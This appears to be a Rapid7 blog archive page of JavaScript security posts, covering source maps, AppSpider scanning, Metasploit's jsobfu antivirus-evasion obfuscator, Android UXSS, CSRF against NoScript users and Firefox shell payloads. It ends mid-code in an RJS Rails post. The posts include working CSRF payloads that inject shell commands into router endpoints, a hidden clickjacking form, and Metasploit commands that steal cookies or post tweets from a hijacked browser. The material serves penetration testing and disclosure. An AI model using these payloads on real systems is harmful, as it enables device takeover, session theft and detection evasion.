Rapid7 Blog

Javascript  

What are Javascript Source Maps?

It's generally a good practice to minify and combine your assets (Javascript & CSS) when deploying to production. This process reduces the size of your assets and dramatically improves your website's load time. Source maps create a map from these compressed asset files back to…

It's generally a good practice to minify and combine your assets (Javascript & CSS) when deploying to production. This process reduces the size of your assets and dramatically improves your website's load time. Source maps create a map from these compressed asset files back to the source files. This source map allows you to debug and view the source code of your compressed assets, as if you were actually working with the original CSS and Javascript source code. Take a look at jQuery minified & combined code that was generated from the original source code. The code is practically unreadable and would be difficult to debug. But, as we all know, no matter how thoroughly you test, sometimes bugs will fall through the cracks. This is why it's useful to debug Javascript code in production, and that's when source maps come in handy. How do you use Javascript source maps? With InsightOps we use UglifyJS for minification and Javascript source map generation. UglifyJS is a NodeJS library written in Javascript. To install Uglify JS with NPM: npm install uglify-js -g Minify the files and generate source maps: uglify-js file1.js file2.js -o output.js --source-map output.map.js The code above tells UglifyJS to: Take file1.js and file2.js as input Compress input files and output them to output.js Generate the source map for the compressed file and output it to output.map.js Marrying source maps and Django Compressor Django Compressor is a great Django plugin to mark assets for minification right inside your templates: {% load compress %} {% compress js %} <script src="/static/js/one.js" type="text/javascript" charset="utf-8"></script> <script type="text/ja vascript" charset="utf-8">obj.value = "value";</script> {% endcompress %} Behind the scenes you can develop logic to combine and minify the files with any algorithm or third party tools of your choosing. Browser support Source maps are a new addition to the developer toolbox. Although the source maps spec lives in Google docs (no kidding), they're supported by all major browsers: Chrome, Safari, Firefox, and IE11. By default, source maps are disabled so your users will not incur any unnecessary bandwidth overheads. To enable source maps in Google Chrome, go to Developer Tools, click the little cog icon, and then make sure that “Enable Javascript source maps” is checked. That's it. Now each compressed asset file contains a link pointing to its source map, and we've just told Chrome not to ignore them. See Javascript source maps in action If you'd like to see Javascript source maps in action, check out our free log management tool and take a look at our source code. The files highlighted in green are compressed Javascript files; the folders highlighted in blue are generated from source maps and contain the original source code that's mapped onto the compressed files. We can set breakpoints on mapped code, inspect variables, step through, and do pretty much anything that we can with original code. Pretty cool, huh?

Web Application Security Testing: Single Page Applications Built with JavaScript Frameworks

In recent years, more and more applications are being built on popular new JavaScript frameworks like ReactJS and AngularJS. As is often the case with new application technologies, these frameworks have created an innovation gap for most application security scanning solutions and an acute set…

In recent years, more and more applications are being built on popular new JavaScript frameworks like ReactJS and AngularJS. As is often the case with new application technologies, these frameworks have created an innovation gap for most application security scanning solutions and an acute set of challenges for those of us who focus on web application security. It is imperative that our application security testing approaches keep pace with evolving technology. When we fail to keep up, portions of the applications go untested leaving unknown risk. Related resource: [VIDEO] Securing Single Page Applications Built on JavaScript Frameworks So, let's look at some of the key things we need to think about when testing these modern web applications.1. Dynamic clients of today's complex web applications. – These applications have highly dynamic clients. Applications are built on JavaScript platforms like AngularJS and ReactJS. Single Page Application (SPA) frameworks fundamentally change the browser communication that security experts have long understood. These frameworks use custom event names instead of the traditional browser events we understand (‘on click,' ‘on submit,' etc.). Evaluate whether your dynamic application security testing solution is capable of translating these custom events into the traditional browser event names we understand.Related Resource: [WEBCAST] BEST PRACTICES FOR REDUCING RISK WITH A DYNAMIC APP SECURITY PROGRAM2. RESTful APIs (back-end). – Today's modern applications are powered by complex back-end APIs. Most organizations are currently testing RESTful API's manually or not testing them at all. Your dynamic application security solutions should be able to automatically discover and test a RESTful API while crawling both AJAX applications and SPA. Because APIs are proliferating so rapidly, they take a long time test. Ensuring your dynamic application security solutions should enable your expert pen testers to focus on the problems that can't be automated, like Business Logic testing.Related resource: [Whitepaper] The Top Ten Business Logic Attack Vectors3. Interconnected applications. - As security experts, it's imperative that we understand today's interconnected world. We are seeing interconnected applications at work and at home. For example, The Yahoo homepage shows news from many sites and includes your Twitter feed. Amazon is offering up products from eBay. We are used to thinking about testing an individual application, but now we must go beyond that. Many applications have created open APIs so that other applications can connect to it, or are consuming API's of 3rd party applications. These applications are becoming increasingly interconnected and interdependent. Your DAST solution should help you address this interconnectivity by testing the API's that power them.Dynamic application security testing solutions are evolving rapidly. We encourage you to expect more from your solution. AppSpider enables you to keep up with the changing application landscape so that you can be confident your application has been effectively tested. AppSpider goes where no scanner has gone before - to the deep and dark crevices of your modern applications. By using AppSpider for Dynamic Application Security Testing (DAST), you can keep up with application evolutions from the dynamic clients of Single Page Applications (SPAs) to the complex backend APIs. Learn more about AppSpider and how it scans Single Page Applications that are built on JavaScript frameworks.

AppSpider application security scanning solution deepens support for Single Page Applications - ReactJS

Today, Rapid7 is pleased to announce an AppSpider (application security scanning) update that includes enhanced support for JavaScript Single Page Applications (SPAs) built with ReactJS. This release is significant because SPAs are proliferating rapidly and increasingly creating challenges for security teams. Some of the key…

Today, Rapid7 is pleased to announce an AppSpider (application security scanning) update that includes enhanced support for JavaScript Single Page Applications (SPAs) built with ReactJS. This release is significant because SPAs are proliferating rapidly and increasingly creating challenges for security teams. Some of the key challenges with securing SPA's are: Diverse frameworks - The diversity and number of JavaScript frameworks contributes to the complexity in finding adequate scan coverage against all modern Single Page Applications. Custom events - These frameworks implement non-standard or custom event binding mechanisms, and in the case for ReactJS, it creates a so-called “Virtual DOM” which provides an internal representation of events outside of the real browser DOM. It is important to discover the type and location of every actionable component on the page. Tracking the event bindings on a real DOM is relatively straightforward by shimming EventTarget.prototype.addEventListener and determining the event type, and which node it is bound to. For example: However, in cases where a framework manages its own event delegation (such as in the ReactJS Virtual DOM) it becomes more efficient to hook into the framework, effectively providing a query language into the framework for its events (instead of listening for them). According to ReactJS page: Event delegation React doesn't actually attach event handlers to the nodes themselves. When React starts up, it starts listening for all events at the top level using a single event listener. When a component is mounted or unmounted, the event handlers are simply added or removed from an internal mapping. When an event occurs, React knows how to dispatch it using this mapping. AppSpider has now created a generalized lightweight framework hooking structure that can be used to effectively crawl/discover/scan frameworks that do things ‘their own way.'  Look for an upcoming announcement on how you can incorporate and contribute your own custom framework scanning hooks with AppSpider. What's New? So what is AppSpider doing with ReactJS now? AppSpider is leveraging Facebook's open source developer tools (react-devtools) that are wrapped in a generalized framework hook and now crawled exhaustively by AppSpider. Additionally, ‘doin' it their own way' event binding systems (such as the ReactJS Virtual DOM) are being considered and executed. It is still the case that frameworks are supported right out of the box including AngularJS, Backbone, jQuery, Knockout, etc., without the need for tuning. Only where needed are we adding specific support for frameworks with custom techniques. Why is this important? Web application security scanners struggle with understanding these more complex types of systems that don't rely on fat clients and slow processes. Scanners were built using standard event names relying on these ever-present fields to allow them to interact with the web application. Without these fields, a traditional scanner no longer has the building blocks necessary to correctly interact with the web applications it is scanning. Additionally, they have used the ever-present DOM structure to better understand the application and assist with crawling. This becomes difficult if not impossible for a traditional scanner when they have to deal with applications that process information on the server side instead of the client side. If this creates such an issue, why are people flocking to these frameworks? There are several reasons: Two-way data bindings which allow a better back and forth between client side and server side interactions Processing information on the server side which increases performance and gives a better user experience Flexibility to break away from the fat client side frameworks These capabilities can make a dramatic difference to developers and end users but they also introduce unique issues to security teams. Security teams and their tools are all used to the standard event names like OnClick or OnSubmit. These events drive how we interact with a web application, allowing our standard tools to crawl through the application and interact with them. By using these standard events we have been able to automate the manual tasks of making the application think we interacted with it. This becomes much more complicated when we introduce custom event names. How do you automate interacting with something that changes from application to application or even worse whenever you refresh the same application? AppSpider answers that question by allowing you to connect directly into the framework and have the framework tell you what those custom events are before it even begins to crawl/attack. Security experts have relied upon the DOM to know what was needed to test an application and monitor this interaction to understand potential weaknesses. Server side processing complicates this as all processing is done on the server side, away from the eyes and tools of the security expert and displaying only the end results. With AppSpider, you can now handle applications that are utilizing server side processes because we are not dependent on what is shown to us; instead we already know what is there. Currently, the only way for pen testers to conduct web application tests on applications using ReactJS and other modern formats is to manually attack them, working their way one-by-one through each option. This is a time consuming and tedious task. Pen testers lack the tools to be able to quickly and dynamically scan a web application using these SPA frameworks to identify potential attack points and narrow down where they would like to do further manual testing. AppSpider now allows them to quickly and efficiently scan these applications, saving them time and allowing them to focus efforts where they will be the most effective. How can you tell if your scanner is supporting these custom event names? Answering this question can be difficult as you have to know your application to truly understand what is being missed. You can typically see this quickly when you start to analyze the results of your scans. You will see areas of your application completely missed or parameters that don't show up in your logs as being tested against. Know your weaknesses.  Can your scanner effectively scan this basic ReactJS application and find all of the events? http://webscantest.com/react/ Test it and find out!  Is your scanner able to get see past the DOM? AppSpider can.

7 Ways to Improve the Accuracy of your Application Security Tests

For more than 10 years, application security testing has been a common practice to identify and remediate vulnerabilities in their web applications. While, it's difficult to figure out the best web security software for your organization, there are seven key techniques that not only increase…

For more than 10 years, application security testing has been a common practice to identify and remediate vulnerabilities in their web applications. While, it's difficult to figure out the best web security software for your organization, there are seven key techniques that not only increase accuracy of testing in most applications, but also enable teams to leverage expert resources to test necessary areas by hand. IT security experts who conduct application security testing or are trying to figure out the best application security solution should consider these techniques important and aim to use a solution that leverages as many of them as possible. Application Security Scanning Requirements 1. Coverage of Modern Web Technologies Application coverage is the first step of accuracy. Application security testing software can't test what it can't find or doesn't understand. Most scanners were built to scan HTML and they do so very effectively. Unfortunately, very few modern applications are built solely in HTML. Today's applications have gone way beyond brochure-ware to include rich clients and mobile API's, and web services that make use of new application technologies. These applications are powered by JavaScript and AJAX on the client-side and often have interfaces built in JSON, REST and SOAP with CSRF protection thrown in for good measure. The best web security software solutions are capable of interpreting and attacking these modern technologies and find an internal or vendor neutral test application with vulnerabilities that include these technologies to confirm coverage. 2. Future-Proof Application security software should have the ability to easily understand and adapt to new technologies as they become popular. The reality is that we will continue to see an increase in application complexity and the emergence of new technologies. Most scanners can understand and attack the classic web application of the past but a modern scanner needs to be architected so that new technologies can be bolted on like drill bits on a drill. Ask your vendor how their architecture provides the flexibility to handle new technologies. 3. Sophisticated Attack Techniques All web security software must find a balance between comprehensiveness and performance. In order to improve performance, the best web security software solutions randomly limit the set of attacks to send based on proprietary choices. Other scanners intelligently profile the application to determine which attacks are useful and dynamically adjust attacks for each input. This latter approach increases not only the efficiency of the scan, but also its ability to find valid vulnerabilities. Be sure you understand how your application security software selects its attacks and how configurable the attacks are to fit your needs. 4. Recursive False Positive Checking False positives are the bane of automated scanning and a time suck for security teams. Web applications often behave in mysterious ways and smart scanners must check and recheck findings to avoid false positives. Your vendor should be willing to stand by the findings and constantly improve based on your feedback. 5. Relevant Data Input During an automated scan there are usually two phases: crawl and attack. During the crawl phase, it is imperative that the scanner provide valid data for each input field as expected by the application. For example, when the form is asking for a shipping address, some scanners enter random values into each input instead of the expected values. Certain fields such as the ZIP code would be invalid and the application would reject a request due with an invalid ZIP code. In this case, the scan is actually halted, resulting in a less comprehensive scan and the potential for missed vulnerabilities. Ask application security software vendors what kind of data they use in their attack phase to determine if they are using both expected and unexpected datasets and if they are attacking one input at a time. 6. Check Every Parameter on Every Page The point of automation is to handle the repetitive tasks against every input, but this can lead to slower scan times. To save time, some web application security solutions only check the first several parameters on each page. Each parameter could use different filters so the scanner could be arbitrarily missing vulnerabilities. This time savings is not worth it! Make sure the solution you choose checks every parameter on every page. 7. Custom Mobile Applications, the New Frontier Custom mobile applications are the new frontier for security teams. They provide native mobile interfaces, but then communicate with web services or API's (JSON, REST/XML, AMF, etc.) that have the same range of potential vulnerabilities (SQLi, authentication and session management weaknesses) that web applications do. The best web security software is capable of testing these back-end interfaces or API's because that's where the real weaknesses are likely to be found. For more information about what to look for in an application security scanner, check out our Web Application Security Solutions Buyers' Guide.

12 Days of HaXmas: Improvements to jsobfu

This post is the third in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014. Several months ago, Wei sinn3r Chen and I landed some improvements…

This post is the third in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014. Several months ago, Wei sinn3r Chen and I landed some improvements to Metasploit's Javascript obfuscator, jsobfu. Most notably, we moved it out to its own repo and gem, wrapped it in tests, beefed up its AV resilience, and added a command line interface so that it can be used from the CLI outside of metasploit-framework. Obfuscation over the years jsobfu was written by James egypt Lee and was the first Javascript obfuscator in the framework that used a proper parser (tenderlove's rkelly gem) and AST transformations to obfuscate. It was written to replace the Rex::Exploitation::ObfuscateJS mixin, which was a simpler and less effective regex-based variable renamer (it is still in the Framework to support legacy modules, but jsobfu is the way to go nowadays). Also useful is the Rex::Exploitation::EncryptJS mixin from L4teral, which encodes the malicious Javascript with a random XOR key and wraps it in an eval wrapper. This can be handy when dealing with static/signatured browser AV engines. Module Usage If you are writing a browser exploit or Javascript post-exploitation module, we have added a convenient mixin for allowing dead-simple obfuscation that can be controlled by the end-user with a datastore option. Your code will look something like: include Msf::Exploit::JSObfu def generate_html js_obfuscate("trigger_exploit();"); end Note that the Msf::Exploit::JSObfu mixin is automatically pulled in when you use the BrowserExploitServer. When the js_obfuscate method is used, the user has control over the level of obfuscation iterations through an advanced datastore option called JsObfuscate: Name : JsObfuscate Current Setting: 0 Description : Number of times to obfuscate JavaScript The Gem The new jsobfu Ruby gem Ruby gem can be installed in a snap: $ gem install jsobfu This installs the jsobfu library and adds a global jsobfu shell command that will read Javascript code from stdin and obfuscate it: $ echo "console.log('Hello World')" | jsobfu window[(function () { var E="ole",d="ons",f="c"; return f+d+E })()][(String.fromChar Code(108,111,0147))](String.fromCharCode(0x48,0x65,0154,0154,111,32,0127,0x6f,114,01 54,0x64)); There is also an optional iterations parameter that allows you to obfuscate a specified number of times: $ echo "console.log('Hello World')" | jsobfu 3 window[(function(){var T=String[(String.fromCharCode(102,114,0x6f,109,0x43,104,97,0x 72,0x43,0157,0x64,0145))](('j'.length*0x39+54),('h'.length*(3*('X'.length*024+8)+9)+ 15),(1*('Q'.length*(1*0x40+14)+19)+4)),Z=(function(){var c=String.fromCharCode(0x6e, 0163),I=String.fromCharCode(99,0x6f);return I+c;})();return Z+T;})()][(String[(Strin g[((function () { var r="de",t="mCharCo",M="f",_="ro"; return M+_+t+r })())]((0x6*0x f+12),(01*('J'.length*('z'.length*(4*0x9+4)+27)+1)+46),(0x37*'Bw'.length+1),('K'.len gth*(0x3*0x1a+17)+14),(02*(1*(1*(05*'RIZ'.length+2)+6)+3)+15),('X'.length*('zzJA'.le ngth*021+15)+21),(0x1*0111+24),('FK'.length*0x2b+28),('z'.length*0x43+0),(03*33+12), ('AZa'.length*('NKY'.length*(02*4+3)+0)+1),(1*0x5c+9)))](('u'.length*(01*('KR'.lengt h*('av'.length*0x7+3)+5)+19)+(01*('j'.length*056+0)+4)),('z'.length*(String.fromChar Code(0x67,85,0155,0156,75,84,0114,0x4c)[((function () { var f="ngth",F="e",x="l"; re turn x+F+f })())]*((function () { var n='m',a='Q'; return a+n })()[(String.fromCharC ode(0154,101,110,0x67,0x74,104))]*(function () { var w='d',A='tMf'; return A+w })()[ ((function () { var yG="ngth",q5="e",J="l"; return J+q5+yG })())]+'SX'.length)+'crFi Kaq'.length)+(1*026+2)),('p'.length*(06*15+10)+'nnU'.length)))]((function(){var En=S tring[(String.fromCharCode(0146,0x72,0x6f,0x6d,0103,104,97,0x72,67,0x6f,0144,101))]( (3*041+9),('eHUOhZL'.length*(0x1*(01*9+1)+3)+9)),Y=(function(){var z=(function () { var Sf='r'; return Sf })(),Z=(function () { var N='o'; return N })(),C=String.fromCh arCode(0x57);return C+Z+z;})(),k=String[((function () { var b="e",s="od",p="fromCha" ,H="rC"; return p+H+s+b })())](('C'.length*('H'.length*('Ia'.length*0xf+3)+12)+27),( 'G'.length*(01*('Wv'.length*25+10)+27)+14),('Q'.length*077+45),('MXq'.length*30+18), (1*('B'.length*(0x1*29+20)+24)+38),(0x2*020+0));return k+Y+En;})()); The Implementation The original approach of jsobfu is simple: obfuscate String, object, and number literals by transforming them into random chunks of executable statements. For example, the statement: "ABC"; Might be transformed a number of different ways (variables are renamed during transformation): String.fromCharCode(0101,0x42,0x43); Or: (function () { var t="C",_="B",h="A"; return h+_+t })(); Or even: (function(){var k=String.fromCharCode(0103),d=String.fromCharCode(0x42), v=(function () { var I="A"; return I })();return v+d+k;})(); In order to make this useful in evading AV, we wanted to be sure that every signaturable string in the original code was (possibly) randomized. Because Javascript allows property lookups from a string, it is possible to rewrite all property lookups into small, randomly chosen chunks of code. This makes de-obfuscation rather tedious for a human, since a lot of code is executing and there is no straightforward place to put a hook (as opposed to an eval-based approach). So if you obfuscate code that performs a lookup: // input: var obj = {}; var x = obj.y; The lookup will be obfuscated with a randomly chosen String literal transformation: // obfuscated output: var K = {}; var X = K[(String.fromCharCode(0x79))]; Global lookups must also be dealt with: // input: var x = GlobalObject.y; Global lookups are resolved against the window global, so they too can be obfuscated: // obfuscated output: var G = window[String.fromCharCode(0x47,0x6c,0x6f,0142,97,0x6c,79,98,0x6a, 101,99,0x74)][((function () { var i="y"; return i })())];

Ahoy! It's the Metasploit Weekly Wrapup: More on Android UXSS and refreshing JSObfu

First things first -- today is International Talk Like a Pirate Day, which is great for me, given my office decor. Arrr! So grab a flagon of grog, and read on, ye landlubbers! Updates to the Android Universal XSS bug (CVE-2014-6041) This has been a…

First things first -- today is International Talk Like a Pirate Day, which is great for me, given my office decor. Arrr! So grab a flagon of grog, and read on, ye landlubbers! Updates to the Android Universal XSS bug (CVE-2014-6041) This has been a pretty busy week for us here in Metasploit Nation. You probably heard about Rafay Baloch's kind of massive SOP-busting Android disclosure affecting the stock Android Open Source browser. Well, we've been digging into this some more, and have a couple new findings to report. First off, it's not limited to just the AOSP browser. Other browsers that use the vulnerable version of WebView are also affected. We've successfully exploited both the Maxthon Browser (which claims 600 million downloads) and the CM Browser (which is has 10 million to 50 million installs). We're confident there are plenty of apps that use WebView that are vulnerable to this UXSS, and so far, I haven't seen a lot of patching activity beyond Google's upstream patches to Android (reported to us by Paul Irish of Google). Of course, patching upstream doesn't really help the downstream users, unless and until the carriers and handset manufacturers roll it out. So, if you're on a pre-4.4 phone (which is likely, given that 75% of all active Android devices are pre-KitKat), be careful out there. Consider using an alternative, non-vulnerable browser -- Google Chrome and Mozilla Firefox are fine choices, assuming you have enough hardware oomph to run them. Second, we've landed a fix to the Metasploit module to better enable integration with BeEF, the Browser Exploitation Framework. BeEF, by Wade Alcorn and friends, is a pretty powerful exploit toolkit that takes advantage of cross-site scripting bugs to "hook" browsers into doing the bidding of the BeEF operator. In fact, we shot a quick five minute video yesterday to demonstrate this functionality. While most demos involving BeEF do silly things like play pirate sea shanties on the victim's device, keep in mind that the security context of the code executed is that of the XSS-vulnerable site. With a universal XSS bug (UXSS) like this, all sites are vulnerable. It becomes trivial for attackers to GET and POST on behalf of the user to any site the user is authenticated to -- Facebook, company webmail, Amazon Ali Baba... the level of hijinks is really only limited by the imagination of the attacker. This is why a breakdown of the Same Origin Policy is so damaging; it's just about the worst thing that can happen to a web browser, or anything with browser-like functionality, short of a full shell. Obfuscating Metasploit-Delivered Javascript Also this week, Wei sinn3r Chen has been busily updating the Metasploit Framework Wiki with new material on obfsucating Javascript code for Metasploit module developers. One of the challenges penetration testers face is not being able to use an exploit against a vulnerable target due to layers of signature-based detections or preventions. As an exploit dev, it's important to take this into consideration during development. There are many ways to do this, of course. Javascript-based exploits are relatively easy to modify, so usually you can just change a few lines and make your exploit undetectable by your target's anti-virus, HIDS, or other protection mechanisms. You can make the browser not cache anything, so some anti-virus products simply do not even see the malicious code. Or you can obfuscate, which provides more automation and easier to maintain. To learn more about Metasploit's JavaScript obfuscation APIs, you can read up on them here. In addition, Wei and Joe Vennix (and friends) are also in the process of spinning out JSObfu as a Ruby gem. It was originally written by James Egypt Lee back in 2011, and it's high time for a refresh. We just stood up the GitHub repo today, so if you'd like to follow along and help out, pull requests accepted. New Modules Over the last week, we've added four new modules -- one exploit, and three auxiliary modules. Exploit modules Phpwiki Ploticus Remote Code Execution by Benjamin Harris and us3r777 exploits CVE-2014-5519 Auxiliary and post modules Wordpress XML-RPC Username/Password Login Scanner by Cenk Kalpakoglu exploits CVE-1999-0502 Windows Gather Remote Desktop Connection Manager Saved Password Extraction by Tom Sellers Windows Gather Applied Patches by mubix and zeroSteiner If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness upon the next official update; you can check for these updates through the Software Updates menu under Administration.

Exploiting CSRF under NoScript Conditions

CSRFs -- or Cross-Site Request Forgery vulnerabilities -- occur when a server accepts requests that can be “spoofed” from a site running on a different domain. The attack goes something like this: you, as the victim, are logged in to some web site, like your…

CSRFs -- or Cross-Site Request Forgery vulnerabilities -- occur when a server accepts requests that can be “spoofed” from a site running on a different domain. The attack goes something like this: you, as the victim, are logged in to some web site, like your router configuration page, and have a valid session token. An attacker gets you to click on a link that sends commands to that web site on your behalf, without your knowledge. These vulnerabilities can be especially handy to attackers when trying to exploit something on the the victim's LAN. The most common way to spoof requests is just by sending an XMLHttpRequest (XHR) from a site under the attacker's control: all browsers will let you send GET/POST with arbitrary data and content-type to a cross-domain endpoint. Of course, due to the Same Origin Policy(SOP), this is a “fire and forget” operation. There is usually no way to read the contents of the cross domain response: var xhr = new XMLHttpRequest; xhr.open('POST', 'http://192.168.1.1/ping.cgi', false); xhr.send('?pingstr='+encodeURIComponent('& echo abc123 > /tmp/bin; chmod ..')); The usual advice is to disable Javascript on untrusted sites, either through whitelisting or blacklisting, and usually using something like Mozilla's NoScript add-on. Does this mean NoScript users are immune to CSRF attacks? After all, without Javascript, an arbitrary domain can't just fire off malicious XMLHttpRequests -- they don't trigger when Javascript is disabled. How does NoScript help prevent CSRF? Unfortunately, NoScript doesn't actually do much to prevent CSRF. The obvious example is an <img> tag, which does a GET request on the src attribute, regardless of what domain is used. But POST routes are often more desirable, since they are supposed to be used for mutating server state. The typical way an attacker will handle POST CSRFs on NoScript users is with a form that submits data to a cross domain endpoint, and get the user to unknowingly click it. The submit button is styled to take up the entire screen, and voila! You have a 1-click exploit: <form method='post' action='http://192.168.1.1/ping.cgi' target='f'> <input type='hidden' name="pingstr" value="& echo abc12312..." /> <input type='submit' value="" style="position:absolute;position:fixed;top:0;left:0;width:1200px;height:1200px;background:#fff;opacity:0;" /> </form> <iframe name='f' id='f' style='position:absolute;left:-500px;top:-500px;height:1px;width:1px'></iframe> So when the user clicks anywhere on the page, they submit the invisible form. The form's target attribute is set to a hidden iframe, so that the unknown form submission does not even navigate the top-level page, so the user has no idea that a request just happened (this is handy for phishing). Note: if the pingstr parameter looks familiar, you might have seen it in exploit/linux/http/linksys_wrt110_cmd_exec. Many of Metasploit's router exploits can be triggered via CSRF. Now, how to get the user to click the page? There are a million ways to do this, but one easy and reliable trick is to just put a “Redirecting…” link at the top of the page. Eventually the user will get tired of waiting for the redirect to load and will click the link (I know I do this at least). What about non-HTTP protocols? It is known that the UPnP interfaces in certain routers will take SOAP requests that can be easily spoofed, which can be abused to forward internal ports from the LAN on to the Internet. With AJAX, arbitrary data can be inserted into a POST request, by calling ajax.send(data). But if you try and use the <form> vector, you will find that you cannot send arbitrary data after the request headers. You can set enctype="text/plain" on the form, which prevent the parameters from being formatted and URL encoded: <form method='post' enctype='text/plain' action='http://192.168.1.1/upnp.cgi'> <input type='hidden' name="blah" value="<SOAP document...>" /> <input type='submit' value="submit" style="position:fixed;top:0;left:0;width:1200px;height:1200px;background:#000;opacity:0;" /> </form> But there will always be some leading garbage on the request (in this instance, the "blah=" string): POST /ping.cgi HTTP/1.1 Host: 192.168.0.5:5000 Connection: keep-alive Content-Length: 23 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://attacker.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36 Content-Type: text/plain Referer: http://attacker.com Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 blah=<SOAP document...> Depending on the protocol, you can often find ways to turn that leading garbage into something that is ignored by the server, like an XML comment: <input type='hidden' name="<!--" value="--><SOAP document...>" /> POST /ping.cgi HTTP/1.1 Host: 192.168.0.5:5000 Connection: keep-alive Content-Length: 26 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://attacker.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36 Content-Type: text/plain Referer: http://fiddle.jshell.net/_display/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 <!--=--><SOAP document...> Finally, one interesting fact of <noscript> CSRF exploits is that they can often be triggered straight from the user's web-based email. Most webmail applications will alert the user when the submit button is clicked, often with a message along the lines of “You are submitting data to an external page, are you sure you want to do this?”. One accidental “OK”, and the victim's router/webapp/internal device is owned. Now, how can a NoScript user prevent this from happening? The short answer for now is "don't click anything on the Internet". Not terribly practical. Of course, you can inspect the source of every page you visit, just like you already inspect the source code of every software application you intend to install. Right, nobody actually does that -- Javascript obfuscation alone makes this basically impossible. So, to reiterate in TL;DR format: In 2014, default NoScript techniques do not actually protect you against CSRF. Sorry for maybe ruining your day. If you have any advice as to how to practically resolve this problem, feel free to comment below. Update: NoScript ABE allows you to blacklist certain types of requests Big thanks to commentor @ma1 for pointing out the ABE component of NoScript, available in NoScript Preferences -> Advanced -> ABE. ABE allows you to define which origins are allowed to communicate to one another. By default, requests from non-LAN sites to a host on the LAN are blocked. My testing on this issue was flawed and my initial results were incorrect. It would be interesting to see how ABE stands up to a DNS rebinding attack into a LAN. However, CSRFs are still very possible in noscript across other (non-LAN) origins, or from a "rogue" LAN host into another LAN host, unless you explicitly create rules to prevent this.

New Metasploit Payloads for Firefox Javascript Exploits

Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads: firefox/shell_reverse_tcp firefox/shell_bind_tcp firefox/exec These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling…

Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads: firefox/shell_reverse_tcp firefox/shell_bind_tcp firefox/exec These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling certain native functions not meant to be exposed to ordinary web content, a classic TCP command shell can be opened. To a pentester, these payloads are useful for popping platform-independent in-process shells on a remote Firefox instance. How does it work? Firefox contains a Javascript API called XPCOM which consists of privileged native methods primarily implemented as C bindings. This API is commonly invoked by Firefox Addons and is also used by the "glue" code running inside the Firefox browser itself. If you can find a way to run Javascript code with access to XPCOM - either by convincing the user to install an untrusted addon or by finding a privilege escalation exploit in Firefox itself - you can open a raw TCP socket and run executables with Javascript. By using some shell redirection, we can get a working command shell connection back to a metasploit instance. We currently have three Firefox privilege escalation exploits in the framework: exploit/multi/browser/firefox_svg_plugin (Firefox 17.* Flash) exploit/multi/browser/firefox_proto_crmfrequest (Firefox 5-15.*) exploit/multi/browser/firefox_xpi_bootstrapped_addon (all versions) Why is it better? The Javascript payloads are able to maintain shell sessions without dropping a native exe to the disk, which makes their presence significantly harder to detect. Another immediate benefit is that our existing Firefox exploits can now be included in BrowserAutopwn, since the target is static. Additionally, since the payload still has access to the Firefox Javascript environment, we can just as easily eval Javascript code, which makes things like cookie extraction or XSS attacks very easy. As an example I wrote a post module, post/firefox/gather/xss. To use it, simply specify the URL you want to run under and specify a SCRIPT option. The SCRIPT will be eval()'d by the payload and any results will be printed: msf> use post/firefox/gather/xss msf> set SESSION 1 msf> set URL https://rapid7.com msf> set SCRIPT "send(document.cookie);" [+] id=f612814001be908ds79f Or, with a slightly more advanced script which sends a tweet in the target browser: msf> set URL https://twitter.com msf> set SCRIPT "$('.tweet-box').find('.tweet-box').focus().text('Metasploit Courtesy Tweet').parents('form').find('.tweet-button button').click(); return 'sent';" [+] sent Note: You can use return or send to send back data, but you can only send once. If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

12 Days of HaXmas: Exploiting (and Fixing) RJS Rails Info Leaks

This post is the fifth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013. Several weeks ago, Egor Homakov wrote a blog post pointing out a common…

This post is the fifth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013. Several weeks ago, Egor Homakov wrote a blog post pointing out a common info leak vulnerability in many Rails apps that utilize Remote JavaScript. The attack vector and implications can be hard to wrap your head around, so in this post I'll explain how the vulnerability occurs and how to exploit it. What is Remote Javascript? Remote JavaScript (RJS) was a pattern prescribed by Rails < 2 to implement dynamic web sites. In RJS the user-facing parts of a website (HTML and JS) act as a "dumb client" for the server: when dynamic action is needed, the client calls a JavaScript helper that sends a request to the server. The server then performs the necessary logic and generates and responds with JavaScript code, which is sent back to the client and eval()'d. The RJS approach has some advantages, as rails creator dhh points out in a recent blog post. However, suffice it to say that RJS breaks down as soon as you need complex client-side code, and a server API that responds with UI-dependent JavaScript is not very reusable. So Rails mostly has moved away from the RJS approach (JSON APIs and client-heavy stacks are the new direction), but still supports RJS out of the box. So what's the problem? Unfortunately, RJS is insecure by default. Imagine a developer on a Rails app that uses RJS is asked to make an Ajax-based login pop-up page. Following the RJS pattern, the developer would write some JavaScript that, when the "Login" link is clicked, asks the remote server what to do. The developer would add a controller action to the Rails app that responds with the JavaScript required to show the login form: class Dashboard def login_form respond_to do |format| format.js do render :partial => 'show_login_form' end end end end Following the RJS pattern, the show_login_form.js.erb partial returns some JavaScript code to update the login form container: $("#login").show().html("<%= escape_javascript(render :partial => 'login/form')") Which, when rendered, produces code such as: $("#login").show().html(" <form 